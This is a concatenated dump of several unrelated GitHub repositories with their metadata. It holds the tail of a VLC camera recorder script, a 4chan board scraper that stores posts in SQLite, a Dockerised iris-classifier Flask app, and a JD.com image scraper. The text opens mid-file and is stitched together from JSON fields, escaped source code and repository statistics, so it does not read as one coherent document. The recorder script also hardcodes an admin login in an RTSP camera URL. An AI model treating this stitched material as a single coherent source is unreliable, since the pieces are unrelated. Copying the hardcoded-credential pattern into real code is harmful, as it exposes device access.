None\n#\n# def play_file(self, file_path):\n# if self.libvlc_media:\n# libvlc_media_release(self.libvlc_media)\n# self.libvlc_media = None\n# self.libvlc_media = libvlc_media_new_path(self.libvlc_instance_, file_path.encode(\"utf-8\"))\n# if self.libvlc_media:\n# self.player.set_media(self.libvlc_media)\n# self.duration = self.player.get_length()\n#\n# def start(self):\n# self.player.play()\n# self.player.audio_set_volume(50)\n#\n# def stop(self):\n# self.player.stop()\n#\n# def pause(self):\n# self.player.pause()\n#\n# def is_playing(self):\n# \"\"\"0 means stop, 1 means playing\"\"\"\n# return self.player.is_playing()\n\n\nclass VlcVideoRecorder(object):\n\n def __init__(self, url, path):\n self.url = url\n instance = Instance()\n self.player = instance.media_player_new()\n self.libvlc_media = instance.media_new(self.url)\n options = \"sout=#transcode{vcodec=h264,scale=自动,acodec=mpga,ab=128,channels=2,samplerate=44100,scodec=none}:std{access=file{no-overwrite},mux=mp4,dst=%s}\" % str(path)\n print(options)\n self.libvlc_media.add_option(options)\n self.libvlc_media.get_mrl()\n self.player.set_media(self.libvlc_media)\n\n def start(self):\n self.player.play()\n self.player.audio_set_mute(True)\n\n def stop(self):\n self.player.stop()\n\n\ndef test(player):\n tt = player.get_time()\n print(tt)\n player.set_time(tt + 100)\n\n\nif __name__ == \"__main__\":\n url = \"rtsp://admin:[email protected]:554/11\"\n path = \"'E:/projects/icas_server_proj/media/tt4234678.mp4'\"\n app = QApplication(sys.argv)\n window = QWidget()\n window.resize(400, 400)\n # timer = QTimer()\n #\n window.show()\n p = VlcPlayer(url, int(window.winId()))\n # p = VlcFileAudioPlayer()\n # p.play_file(\"14.20180926162456.mp3\")\n p.start()\n # \"14.20180926162456.mp3\"\n # p.start()\n # time.sleep(10)\n # while True:\n # time.sleep(1)\n # p.pause()\n # print(\"is playing:\", p.is_playing())\n # time.sleep(1)\n # p.start()\n # # p.capture('.')\n sys.exit(app.exec_())\n\n # TODO test vlc record video\n # recorder = VlcVideoRecorder(url, path)\n #\n # recorder.start()\n #\n # time.sleep(15)\n # recorder.stop()\n" } ]
14
muratortak/bizmeme-ng
https://github.com/muratortak/bizmeme-ng
54e38adb7bb90bb79cbf244b5f47e672e0b6f6cd
a9bcdf62e62ec050d1bbd78adee5d17a8e4edd29
efa7ef570cd9ef97f3f5a53dd14681bd1f652a6e
refs/heads/main
2023-06-01T11:10:40.936305
2021-06-18T23:28:51
2021-06-18T23:28:51
380,376,478
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6973039507865906, "alphanum_fraction": 0.6997548937797546, "avg_line_length": 26.03333282470703, "blob_id": "cd7fca45cb3bc2383a29d9251dcbeb3c3ff46f49", "content_id": "8e5b2682862ba50f9ba1c07966809a56b2f370a5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 816, "license_type": "no_license", "max_line_length": 53, "num_lines": 30, "path": "/charts/posts_over_time_in_thread.py", "repo_name": "muratortak/bizmeme-ng", "src_encoding": "UTF-8", "text": "import json\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport matplotlib.dates as mdates\nimport matplotlib.pyplot as plt\nimport datetime\nfrom matplotlib.colors import BoundaryNorm\nfrom matplotlib.ticker import MaxNLocator\nimport numpy as np\n\n\ndef postsOverTimeInThread(timeDates):\n plt.style.use('classic')\n plt.title(r'Posts in a thread over time')\n plt.ylabel(r'Post')\n plt.xlabel(r'Time')\n posts = [i for i in range( len(timeDates) )]\n plt.plot(timeDates,posts,'o',color=\"k\")\n plt.show()\n\ndef meanPostsPerCountryFlag(data):\n plt.style.use('classic')\n plt.title(r'Average post length by country flag')\n plt.ylabel(r'Mean post length')\n plt.xlabel(r'Country')\n x = [x[0] for x in data]\n y = [y[1] for y in data] \n plt.bar(x,y)\n plt.show()\n \n" }, { "alpha_fraction": 0.46191951632499695, "alphanum_fraction": 0.463777095079422, "avg_line_length": 86.21621704101562, "blob_id": "c9dc16f4b19b827921c358037917814c78d19618", "content_id": "66f01a480131c05170f494bf71081c424e953604", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3230, "license_type": "no_license", "max_line_length": 90, "num_lines": 37, "path": "/data.py", "repo_name": "muratortak/bizmeme-ng", "src_encoding": "UTF-8", "text": "\nclass Post:\n def __init__(self, post):\n self.no = post['no'] if 'no' in post else None\n self.sticky = post['sticky'] if 'sticky' in post else None\n self.closed = post['closed'] if 'closed' in post else None\n self.now = post['now'] if 'now' in post else None\n self.name = post['name'] if 'name' in post else None\n self.sub = post['sub'] if 'sub' in post else None\n self.com = post['com'] if 'com' in post else None\n self.filename = post['filename'] if 'filename' in post else None\n self.ext = post['ext'] if 'ext' in post else None\n self.w = post['w'] if 'w' in post else None\n self.h = post['h'] if 'h' in post else None\n self.tn_w = post['tn_w'] if 'tn_w' in post else None\n self.tn_h = post['tn_h'] if 'tn_h' in post else None\n self.tim = post['tim'] if 'tim' in post else None\n self.time = post['time'] if 'time' in post else None\n self.md5 = post['md5'] if 'md5' in post else None\n self.filesize = post['filesize'] if 'filesize' in post else None\n self.resto = post['resto'] if 'resto' in post else None\n self.capcode = post['capcode'] if 'capcode' in post else None\n self.semantic_url = post['semantic_url'] if 'semantic_url' in post else None\n self.trip = post['trip'] if 'trip' in post else None\n self.id = post['id'] if 'id' in post else None\n self.country = post['country'] if 'country' in post else None\n self.country_name = post['country_name'] if 'country_name' in post else None\n self.board_flag = post['board_flag'] if 'board_flag' in post else None\n self.flag_name = post['flag_name'] if 'flag_name' in post else None\n self.filedeleted = post['filedelete'] if 'filedelete' in post else None\n self.spoiler = post['spoiler'] if 'spoiler' in post else None\n self.custom_spoiler = post['custom_spoiler'] if 'custom_spoiler' in post else None\n self.replies = post['replies'] if 'replies' in post else None\n self.bumplimit = post['bumplimit'] if 'bumplimit' in post else None\n self.since4pass = post['since4pass'] if 'since4pass' in post else None\n self.unique_ips = post['unique_ips'] if 'unique_ips' in post else None\n self.archived = post['archived'] if 'archived' in post else None\n self.archived_on = post['archived_on'] if 'archived_on' in post else None\n\n\n" }, { "alpha_fraction": 0.4464573264122009, "alphanum_fraction": 0.44887277483940125, "avg_line_length": 21.363636016845703, "blob_id": "c2898504f408b452db9f6d4401f7c87b76ae0eb7", "content_id": "04fe2fa8155386a5d670443a8e8d188e7b1ac673", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2484, "license_type": "no_license", "max_line_length": 102, "num_lines": 110, "path": "/db.py", "repo_name": "muratortak/bizmeme-ng", "src_encoding": "UTF-8", "text": "from data import Post\nimport sqlite3\n\ncon = sqlite3.connect('database.db')\ncur = con.cursor()\n\ncur.execute('''\n\n CREATE TABLE IF NOT EXISTS chanlinks ( \n date text,\n board text,\n link text,\n primary key (date, board, link)\n )\n\n''')\n\ndef addRow(link, date, board):\n cur.execute(''' INSERT INTO chanlinks (link, date, board) values(?,?,?); ''', (link, date, board))\n \n\ncur.execute('''\n\n CREATE TABLE IF NOT EXISTS PostData ( \n board text,\n no text,\n sticky text,\n closed text,\n now text,\n name text,\n sub text,\n com text,\n filename text,\n ext text,\n w text,\n h text,\n tn_w text,\n tn_h text,\n tim text,\n time text,\n md5 text,\n filesize text,\n resto text,\n capcode text,\n semantic_url text,\n trip text,\n id text,\n country text,\n country_name text,\n board_flag text,\n flag_name text,\n filedelete text,\n spoiler text,\n custom_spoiler text,\n replies text,\n bumplimit text,\n since4pass text,\n unique_ips text,\n archived text,\n archived_on text,\n primary key (board, no)\n )\n\n''')\n\ndef addPost(boardName: str, data: Post) -> None:\n try:\n cur.execute(''' \n INSERT INTO PostData \n VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?); ''', \n (\n boardName, \n data.no,\n data.sticky,\n data.closed,\n data.now,\n data.name,\n data.sub,\n data.com,\n data.filename,\n data.ext,\n data.w,\n data.h,\n data.tn_w,\n data.tn_h,\n data.tim,\n data.time,\n data.md5,\n data.filesize,\n data.resto,\n data.capcode,\n data.semantic_url,\n data.trip,\n data.id,\n data.country,\n data.country_name,\n data.board_flag,\n data.flag_name,\n data.filedeleted,\n data.spoiler,\n data.custom_spoiler,\n data.replies,\n data.bumplimit,\n data.since4pass,\n data.unique_ips,\n data.archived,\n data.archived_on\n ))\n except:\n print(\"Error on insert\")\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.5472081303596497, "alphanum_fraction": 0.5543147325515747, "avg_line_length": 19.52083396911621, "blob_id": "9578b93857f5a7e5fbc8ed873eec8baee5f8bd80", "content_id": "7b4e3ddcb776c19a5cd2ca8b0cb29c1683949638", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 985, "license_type": "no_license", "max_line_length": 73, "num_lines": 48, "path": "/main.py", "repo_name": "muratortak/bizmeme-ng", "src_encoding": "UTF-8", "text": "import time\nimport requests\nimport json\n\nboards = {\n \"biz\": \"https://a.4cdn.org/biz/archive.json\",\n}\n\n\ndef chanGet(url):\n time.sleep(1)\n try:\n t = requests.get(url).text\n t = json.loads(t)\n except:\n return None\n return t\n\n\ndef getArchive(board):\n return chanGet(board)\n\n\ndef getThreads(board):\n\n boardArchive = getArchive(f\"https://a.4cdn.org/{board}/archive.json\")\n threads = []\n\n for i, thread in enumerate(boardArchive):\n print(f\" {i} / {len(boardArchive)} \")\n print(f\"https://a.4cdn.org/{board}/thread/{thread}.json\")\n\n try:\n threadData = chanGet(\n f\"https://a.4cdn.org/{board}/thread/{thread}.json\")\n\n if len(threadData['posts']) < 10:\n if 'sub' in threadData:\n print(threadData['sub'])\n print(threadData['com'])\n\n threads.append(threadData)\n except:\n pass\n return threads\n\n\ngetThreads(\"biz\")\n" }, { "alpha_fraction": 0.6189683675765991, "alphanum_fraction": 0.6246256232261658, "avg_line_length": 27.339622497558594, "blob_id": "0b0fb70a415308506da4b130d20c8e3fa878b419", "content_id": "fbbf730d6e51ad666f42bee0267d4b95c77fb4d9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3005, "license_type": "no_license", "max_line_length": 95, "num_lines": 106, "path": "/utils/operations.py", "repo_name": "muratortak/bizmeme-ng", "src_encoding": "UTF-8", "text": "from requests import get\nfrom time import sleep\nfrom json import loads\nfrom datetime import datetime\n\ndef getThreadIdsFromCatalog(board):\n\n sleep(1)\n ret = []\n try:\n boardCatalogData = loads(\n get(f\"https://a.4cdn.org/{board}/catalog.json\").text)\n \n except:\n return None\n\n for boardCatalogPageData in boardCatalogData:\n for thread in boardCatalogPageData['threads']:\n ret.append(thread['no'])\n \n ret.reverse() # some boards don't have an archive leaving the last few to always be deleted\n return ret\n\n\ndef getThread(board, threadId):\n\n try:\n sleep(0.9)\n return loads(get(f\"https://a.4cdn.org/{board}/thread/{threadId}.json\").text)\n except:\n return None\n\n\ndef getCommentsFromThreadAsList(thread):\n\n ret = []\n data = thread[\"posts\"]\n\n for post in data:\n if \"com\" in post and \"time\" in post:\n ret.append(post)\n\n return ret\n\ndef removeHTMLFromComment(c):\n comment = c\n comment = comment.replace(\"<br>\", \"\\n\")\n comment = comment.replace(\"&quot;\", \"\\\"\")\n comment = comment.replace(\"&gt;\", \">\")\n comment = comment.replace(\"&lt;\", \"<\")\n comment = comment.replace(\"<wbr>\", \"\")\n comment = comment.replace(\"<span class=\\\"quote\\\">\",\"\")\n comment = comment.replace(\"</span>\",\"\")\n comment = comment.replace(\"&#039;\",\"\\'\")\n comment = comment.replace(\"&amp;\",\"&\")\n comment = comment.replace(\"</a>\",\"\")\n comment = comment.replace(\"<a>\",\"\")\n comment = comment.replace(\"\\\"\",\" \")\n comment = comment.replace(\">\",\" \")\n return comment\n\ndef calculateThreadPostRate(board, threadID):\n ''' \n Take a single thread and calculate the rate posts are made to it\n Return a list of times which are the delays between posts\n '''\n dates = []\n threadPosts = getThread(board, threadID)[\"posts\"]\n for post in threadPosts:\n dates.append(datetime.utcfromtimestamp(post['time']))\n return dates\n\ndef getCountryFlagsAndCommentsFromThread(board, threadID):\n \n countryAndComments = []\n threadPosts = getThread(board, threadID)[\"posts\"]\n \n for post in threadPosts:\n if \"country\" in post and \"com\" in post:\n countryAndComments.append( (post['country'],post['com']))\n\n countryAndComments.sort() \n \n return countryAndComments\n\ndef meanPostLengthByCountry(countryAndThreadList):\n postLengths = {}\n\n for data in countryAndThreadList:\n country = data[0]\n comment = data[1]\n\n if not (country in postLengths.keys()):\n postLengths[country] = (len(comment),1)\n \n else:\n currentTotalCharacters = postLengths[country][0]\n numberOfPosters = postLengths[country][1]\n postLengths[country] = (currentTotalCharacters+len(comment), numberOfPosters+1)\n\n ret = []\n for data in postLengths:\n ret.append( (data, int(postLengths[data][0]/postLengths[data][1]) ) ) \n\n ret.sort(key=lambda x: x[1],reverse=True)\n return ret\n\n" }, { "alpha_fraction": 0.6959999799728394, "alphanum_fraction": 0.7279999852180481, "avg_line_length": 19.83333396911621, "blob_id": "66741b07df9e874864e6891150ee201eea35d19b", "content_id": "693a1995a0a2285da8a3d3b327e8c5a604d7e0ea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 125, "license_type": "no_license", "max_line_length": 44, "num_lines": 6, "path": "/README.md", "repo_name": "muratortak/bizmeme-ng", "src_encoding": "UTF-8", "text": "# bizmeme-ng\n\n## How to use it\n1. Download \n2. Run linkfarmer.py (python3 linkfarmer.py)\n2. If you like charts chartmemes.py\n" }, { "alpha_fraction": 0.5987526178359985, "alphanum_fraction": 0.6060290932655334, "avg_line_length": 21.85714340209961, "blob_id": "e6c67786cdea99bbf0635c9989c2e68660f9c139", "content_id": "257e0aaeff4e95625c9f7ed775f023dab438811c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 962, "license_type": "no_license", "max_line_length": 60, "num_lines": 42, "path": "/monitor.py", "repo_name": "muratortak/bizmeme-ng", "src_encoding": "UTF-8", "text": "\n# Display new threads as they're created\n\nimport json\nimport requests\nimport time\nfrom utils.operations import removeHTMLFromComment\n\ndef display(thread):\n\n if \"sub\" in thread:\n print(thread['sub'])\n print(\"\")\n if \"com\" in thread:\n comment = removeHTMLFromComment(thread['com'])\n print(comment)\n print(\"-\"*80)\n\n\ndef monitor():\n\n biz = \"biz\"\n seen = []\n threads = []\n\n while True:\n boardCatalogDataText = requests.get(\n f\"https://a.4cdn.org/{biz}/catalog.json\").text\n boardCatalogJson = json.loads(boardCatalogDataText)\n time.sleep(1)\n\n for boardPageJson in boardCatalogJson:\n for boardThreadLink in boardPageJson['threads']:\n threads.append(boardThreadLink)\n\n threads.sort(key=lambda x: x['no'], reverse=True)\n\n if not(threads[0]['no'] in seen):\n seen.append(threads[0]['no'])\n display(threads[0])\n\n\nmonitor()\n\n" }, { "alpha_fraction": 0.5131944417953491, "alphanum_fraction": 0.5152778029441833, "avg_line_length": 20.787878036499023, "blob_id": "a56ba7e8cf84ca3455c222fd7a4a4457f9c83a8a", "content_id": "ef6440c5661bdf0c52c62d8110427c2e4ddd18e3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1440, "license_type": "no_license", "max_line_length": 115, "num_lines": 66, "path": "/linkfarmer.py", "repo_name": "muratortak/bizmeme-ng", "src_encoding": "UTF-8", "text": "import time\nfrom random import shuffle, sample\nfrom re import search, findall\nfrom data import Post\nfrom utils.chandata import ChanBoards\nfrom utils.operations import getThreadIdsFromCatalog, getThread, getCommentsFromThreadAsList, removeHTMLFromComment\nimport db\n\nboards = ['pol',\n 'vg',\n 'v',\n 'b',\n 'biz',\n 'int',\n 'a',\n 'tv',\n 'vt',\n 'trash',\n 'mu',\n 'fit',\n 'r9k',\n 'g',\n 'x',\n 'his',\n 'adv',\n 'lit',\n 'bant',\n 'ck',\n 'qa',\n 'aco',\n 'mlp',\n 'vrpg',\n 'soc',\n 'vr',\n 's4s'\n]\n\nshuffle(boards)\n\ndef scrapeBoard(board: str) -> None:\n\n threadsIdList = getThreadIdsFromCatalog(board)\n if not threadsIdList: exit()\n \n print(f\"Beginning {board}, total threads {len(threadsIdList)}\")\n\n for threadIndex, threadId in enumerate(threadsIdList):\n \n delta = 0\n timePast = time.time() \n\n thread = getThread(board, threadId)\n \n if thread: \n for comment in getCommentsFromThreadAsList(thread):\n db.addPost(board,Post(comment))\n \n delta = time.time() - timePast\n print(board, threadIndex, \"/\", len(threadsIdList), delta)\n \n db.con.commit()\n\n\nfor board in boards:\n scrapeBoard(board)\ndb.con.close()\n\n\n" }, { "alpha_fraction": 0.6472727060317993, "alphanum_fraction": 0.6545454263687134, "avg_line_length": 29.55555534362793, "blob_id": "1fcfbaa9c3f27c277ac3b41765b518b94ce2808f", "content_id": "6b9a1090820f7c94460ade8186ecfec0b4c06f90", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 275, "license_type": "no_license", "max_line_length": 73, "num_lines": 9, "path": "/utils/chandata.py", "repo_name": "muratortak/bizmeme-ng", "src_encoding": "UTF-8", "text": "from requests import get\nfrom time import sleep\nfrom json import loads\n\nclass ChanBoards:\n def __init__(self):\n sleep(1)\n self.data = loads(get(\"https://a.4cdn.org/boards.json\").text)\n self.boardNames = [name['board'] for name in self.data[\"boards\"]]\n" }, { "alpha_fraction": 0.7587412595748901, "alphanum_fraction": 0.8146852850914001, "avg_line_length": 27.700000762939453, "blob_id": "baea202a23126254f7d1d514fa4e66e71ea17810", "content_id": "82aa2427bbb14ad86070e2c175ce4bfdb3f4e7de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 286, "license_type": "no_license", "max_line_length": 63, "num_lines": 10, "path": "/chartmemes.py", "repo_name": "muratortak/bizmeme-ng", "src_encoding": "UTF-8", "text": "from charts.posts_over_time_in_thread import *\nfrom utils.operations import *\n\n#postsOverTimeInThread(calculateThreadPostRate(\"sci\",13259979))\n\n'''\ndata = getCountryFlagsAndCommentsFromThread('bant', 12924546)\nretData = meanPostLengthByCountry(data)\nmeanPostsPerCountryFlag(retData)\n'''" } ]
10
hashtagcarthaged/numchooser
https://github.com/hashtagcarthaged/numchooser
ed2ae76c6bf30f24e873f6471c01c405f7760874
8f5d3bfc21b92e43961a6b94b7b900a5e3cf3521
f8aa2daa4667f933d996415252c9803e5ede9b2a
refs/heads/master
2023-04-25T06:10:56.011360
2021-05-15T03:09:44
2021-05-15T03:09:44
365,835,289
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4853113889694214, "alphanum_fraction": 0.48805326223373413, "avg_line_length": 29.035293579101562, "blob_id": "96dd77560f41666f48234837a2c7a97f0f9828ba", "content_id": "02782f1f568c71ebff5a5429b36da63dd0fafe30", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2553, "license_type": "no_license", "max_line_length": 89, "num_lines": 85, "path": "/numguesser.py", "repo_name": "hashtagcarthaged/numchooser", "src_encoding": "UTF-8", "text": "import random\n\nrandom.seed()\n\n\ndef checkNum(usernum, message):\n while True:\n try:\n usernum = int(input(message))\n except ValueError:\n print(\"Thats not an integer! Please try again.\")\n continue\n else:\n if (usernum < 0):\n print(\"Thats an invalid integer. Please try again.\")\n continue\n else:\n break\n break\n return usernum\n\n\ndef main ():\n lownum = 0\n highnum = 0\n score = 0\n print(\"Welcome to the number guesser!\")\n name = str(input(\"Tell us your name: \"))\n print(\"Well hello there, \", name, \", we're happy to have you!\")\n print(\"Here, you'll guess between two numbers.\")\n\n lownum = checkNum(lownum, \"Please enter your low, non-negative integer: \")\n highnum = checkNum(highnum, \"Please enter your high, non-negative integer: \")\n score = checkNum(score,\"Please enter your starting score: \")\n\n while True:\n if (highnum < lownum):\n print(\"Your high number is lower than your low number! Please try again.\")\n highnum = checkNum(highnum, \"Please enter your high, non-negative integer: \")\n else:\n break\n\n while True:\n if (score <= 0):\n print(\"No more points! Come back again.\")\n break\n randomnumber = random.randint(lownum,highnum)\n scoreReduction = score % 10\n while True:\n try:\n userguess = int(input(\"Please enter your guess: \"))\n if (userguess > randomnumber):\n print(\"Too high! Try again.\")\n score = score - scoreReduction\n elif (userguess < randomnumber):\n print(\"Too low! Try again.\")\n score = score - scoreReduction\n else:\n print(\"You got it!\")\n break\n except ValueError:\n print(\"Invalid input.\")\n print(\"Loop exited.\")\n print(\"Your score is: \" + str(score))\n # while True:\n # goAgain = str(input(\"Would you like to play again? Enter a y or n: \"))\n # if(goAgain.lower == \"y\"):\n # continue\n # elif(goAgain.lower == \"n\"):\n # print(\"Thanks for playing!\")\n # break\n # else(\"\")\n \n # finally:\n # continue\n\n \n \n \n \n\n\n\nif __name__ == \"__main__\":\n main()\n" } ]
1
GrishenkovP/docker
https://github.com/GrishenkovP/docker
5bf2cd3d58620b861f3c0092e79eba02b6aa6fbb
63de5cfe124dd52a63e15621b8c43159ac95b00c
12e4e8eb7ff3129ca837134af7f380833e39617f
refs/heads/main
2023-04-22T05:22:14.775137
2021-05-11T13:40:32
2021-05-11T13:40:32
366,394,403
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5619946122169495, "alphanum_fraction": 0.5754716992378235, "avg_line_length": 39.22222137451172, "blob_id": "6684af1963ccea273093bc940ff0753801e2e32c", "content_id": "2ab480a670a782454d8fc06411eb46ab6aea9a0e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1484, "license_type": "permissive", "max_line_length": 80, "num_lines": 36, "path": "/container_iris/app.py", "repo_name": "GrishenkovP/docker", "src_encoding": "UTF-8", "text": "import numpy as np\r\nimport joblib\r\nfrom flask import Flask, render_template, request\r\n\r\napp = Flask(__name__)\r\n\r\n\r\[email protected]('/')\r\[email protected]('/predict', methods=['GET', 'POST'])\r\ndef predict():\r\n prediction_name_iris = 'Unknown'\r\n prediction_foto_iris = 'unknown'\r\n if request.method == 'POST':\r\n try:\r\n val_1 = request.form['val_1'].replace(',', '.')\r\n val_2 = request.form['val_2'].replace(',', '.')\r\n val_3 = request.form['val_3'].replace(',', '.')\r\n val_4 = request.form['val_4'].replace(',', '.')\r\n pred_args = [val_1, val_2, val_3, val_4]\r\n preds = np.array(pred_args).reshape(1, -1)\r\n model_open = open('ml/kneighborsclassifier_model.pkl', 'rb')\r\n kneighborsclassifier_model = joblib.load(model_open)\r\n model_prediction = kneighborsclassifier_model.predict(preds)\r\n list_name_iris = ['setosa', 'versicolor', 'virginica']\r\n prediction_name_iris = list_name_iris[model_prediction[0]]\r\n prediction_foto_iris = list_name_iris[model_prediction[0]]\r\n except ValueError:\r\n return render_template('error.html')\r\n\r\n prediction_foto_iris = 'static/images/iris_' + prediction_foto_iris + '.png'\r\n return render_template('predict.html', prediction_name=prediction_name_iris,\r\n prediction_foto=prediction_foto_iris)\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True, host='0.0.0.0')\r\n" }, { "alpha_fraction": 0.5199999809265137, "alphanum_fraction": 0.5866666436195374, "avg_line_length": 15.777777671813965, "blob_id": "439493f4d124afd80c79959541bf7b168f5ed0ec", "content_id": "c6abd9641ea4bf2e92f3c9d6890cac1033682d48", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "YAML", "length_bytes": 150, "license_type": "permissive", "max_line_length": 26, "num_lines": 9, "path": "/container_iris/docker-compose.yml", "repo_name": "GrishenkovP/docker", "src_encoding": "UTF-8", "text": "version: \"3.9\"\nservices:\n web:\n build: .\n container_name: web\n restart: on-failure\n ports:\n - \"5000:5000\"\n command: python app.py" }, { "alpha_fraction": 0.7456896305084229, "alphanum_fraction": 0.7715517282485962, "avg_line_length": 14.399999618530273, "blob_id": "03d8239294cda9485a2057c8baf492d0a7e87d9f", "content_id": "6b1f349df0a672ea6612048ed0a6fcb5a2e9f10c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 263, "license_type": "permissive", "max_line_length": 54, "num_lines": 15, "path": "/container_iris/Dockerfile", "repo_name": "GrishenkovP/docker", "src_encoding": "UTF-8", "text": "FROM python:slim-buster\n\nLABEL maintainer=\"Pavel\"\nLABEL version=\"1.0\"\nLABEL description=\"Приложение по классификации цветов\"\n\nWORKDIR /app \n\nCOPY requirements.txt /app\n\nRUN pip install -r requirements.txt\n\nCOPY . /app\n\nEXPOSE 5000\n\n" }, { "alpha_fraction": 0.672096312046051, "alphanum_fraction": 0.6869688630104065, "avg_line_length": 34.20512771606445, "blob_id": "c76ca289b10db9c4444f01066bd53dcd388e6626", "content_id": "a17d195aff11aa44c5c36e7afc519332c321a901", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1454, "license_type": "permissive", "max_line_length": 75, "num_lines": 39, "path": "/container_iris/ml/model.py", "repo_name": "GrishenkovP/docker", "src_encoding": "UTF-8", "text": "import numpy as np\r\nimport pandas as pd\r\nfrom sklearn import metrics\r\nfrom sklearn import datasets\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.metrics import accuracy_score\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nimport joblib\r\n\r\n# *** Подготовка датасета ***\r\n# iris = datasets.load_iris()\r\n# iris_frame = pd.DataFrame(iris.data)\r\n# iris_frame.columns = iris.feature_names\r\n# iris_frame['target'] = iris.target\r\n# iris_name = iris.target_names\r\n# # print(iris_frame.head(10))\r\n# iris_frame.to_csv('../dataset/iris_frame.csv', index=False)\r\n\r\n# *** Создание модели ***\r\n# df = pd.read_csv('../dataset/iris_frame.csv')\r\n# X = df.iloc[:, df.columns != 'target']\r\n# y = df['target']\r\n# X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.25)\r\n# model = KNeighborsClassifier()\r\n# model.fit(X_train, y_train)\r\n# expected = y_test\r\n# predicted = model.predict(X_test)\r\n# accuracy = accuracy_score(expected, predicted)\r\n# # print(\"Accuracy: %.2f%%\" % (accuracy * 100.0))\r\n# joblib.dump(model, 'kneighborsclassifier_model.pkl')\r\n\r\n# *** Тест модели ***\r\n# pred_args = [5.9, 3.0, 5.1, 1.8]\r\n# preds = np.array(pred_args).reshape(1, -1)\r\n# # print(preds)\r\n# model_open = open('kneighborsclassifier_model.pkl', 'rb')\r\n# kneighborsclassifier_model = joblib.load(model_open)\r\n# model_prediction = kneighborsclassifier_model.predict(preds)\r\n# print(model_prediction[0])\r\n" }, { "alpha_fraction": 0.7678571343421936, "alphanum_fraction": 0.7678571343421936, "avg_line_length": 27, "blob_id": "3ce999789edc4d767851a3bded024ca7738998be", "content_id": "673a52ff5308d32902f137ec2c65a080c88ef070", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 87, "license_type": "permissive", "max_line_length": 46, "num_lines": 2, "path": "/README.md", "repo_name": "GrishenkovP/docker", "src_encoding": "UTF-8", "text": "# docker\nКонтейнеры, образы и все, что связано с Docker\n" } ]
5
niyiity/download-images-from-jd
https://github.com/niyiity/download-images-from-jd
5db6d9b0be56fa4ce068c22736c883da2cba33e3
a0c9edaad129d7818dda0291e3593f1c31cb8e7f
c0955da3723300f16b323e9b9c2ae3c85e0188e9
refs/heads/master
2020-02-05T11:16:55.436651
2017-07-15T09:59:17
2017-07-15T09:59:17
97,307,143
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5336577296257019, "alphanum_fraction": 0.5604217648506165, "avg_line_length": 37.5625, "blob_id": "951f495aa8a9547be65583200855f1338bb3e681", "content_id": "1f20ac9c19cdbdbce45ba69f53eb6034b0c5fda7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1233, "license_type": "no_license", "max_line_length": 97, "num_lines": 32, "path": "/mainapp.py", "repo_name": "niyiity/download-images-from-jd", "src_encoding": "UTF-8", "text": "#coding:GBK\nimport urllib.request as ur\nimport urllib.error\nimport re\nimport os\ndef craw(url,page_num):\n html1=str(ur.urlopen(url).read())\n pattern1='<div id=\"plist\".+?<div class=\"page clearfix\">'\n result1=re.compile(pattern1).findall(html1)[0]\n pattern2='<img width=\"220\" height=\"220\" data-img=\"1\" data-lazy-img=\"//(\\S+?[(.jpg)(.png)])\">'\n imglist=re.compile(pattern2).findall(result1)\n if not os.path.exists('./img'):\n os.mkdir('./img')\n x=1\n for imgurl in imglist:\n if not os.path.exists('./img/page'+str(page_num)):\n os.mkdir('./img/page'+str(page_num))\n if 'jpg' in imgurl:\n imgpath='./img/'+str('page'+str(page_num))+'/'+str(x)+'.jpg'\n elif 'png' in imgurl:\n imgpath = './img/' + str('page'+str(page_num))+'/' + str(x) + '.png'\n else:\n imgpath = './img/' + str('page'+str(page_num))+'/' + str(x)\n imgurl='https://'+imgurl\n try:\n ur.urlretrieve(imgurl,filename=imgpath)\n except urllib.error.URLError as e:\n if hasattr(e,'code') or hasattr(e,'reason'):\n x+=1\n x+=1\nfor i in range(1,100):\n craw('https://list.jd.com/list.html?cat=9987,653,655&page='+str(i),i)" }, { "alpha_fraction": 0.875, "alphanum_fraction": 0.875, "avg_line_length": 47, "blob_id": "521f4fc66b16de71eab40a2e1949033a6d55eb15", "content_id": "0773e885a6cbfa9c2bb8db1a2df60a1a14d18182", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 122, "license_type": "no_license", "max_line_length": 47, "num_lines": 1, "path": "/README.md", "repo_name": "niyiity/download-images-from-jd", "src_encoding": "UTF-8", "text": "### 一个简单的Python爬虫,可以自动爬取京东手机销售页面的第一页至第一百页的手机的图片\n" } ]
2
meghanforcellati/example_git_push
https://github.com/meghanforcellati/example_git_push
